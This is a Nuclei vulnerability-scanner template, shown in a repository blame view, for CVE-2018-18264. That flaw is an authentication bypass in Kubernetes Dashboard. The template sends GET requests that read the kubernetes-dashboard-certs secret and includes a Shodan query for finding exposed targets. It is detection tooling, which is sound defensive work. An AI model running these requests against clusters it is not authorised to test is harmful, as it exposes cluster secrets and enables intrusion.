nuclei-templates/cves/2018/CVE-2018-18264.yaml

36 lines
1.1 KiB
YAML
Raw Normal View History

2022-03-03 17:02:39 +00:00
id: CVE-2018-18264
info:
name: Kubernetes Dashboard unauthenticated secret access
author: edoardottt
severity: high
description: Kubernetes Dashboard before 1.10.1 allows attackers to bypass authentication and use Dashboard's Service Account for reading secrets within the cluster.
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2018-18264
cwe-id: CWE-306
2022-03-04 12:18:26 +00:00
metadata:
shodan-query: product:"Kubernetes"
2022-03-03 17:02:39 +00:00
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2018-18264
- https://github.com/kubernetes/dashboard/pull/3289
- https://sysdig.com/blog/privilege-escalation-kubernetes-dashboard/
2022-03-04 12:18:26 +00:00
tags: cve,cve2018,kubernetes,k8s,unauth
2022-03-03 17:02:39 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs"
- "{{BaseURL}}/k8s/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs"
2022-03-04 12:18:26 +00:00
stop-at-first-match: true
2022-03-03 17:02:39 +00:00
matchers-condition: and
matchers:
- type: status
status:
- 200
2022-03-03 17:05:35 +00:00
2022-03-03 17:02:39 +00:00
- type: dsl
dsl:
2022-03-04 12:18:26 +00:00
- 'contains(body, "apiVersion") && contains(body, "objectRef")'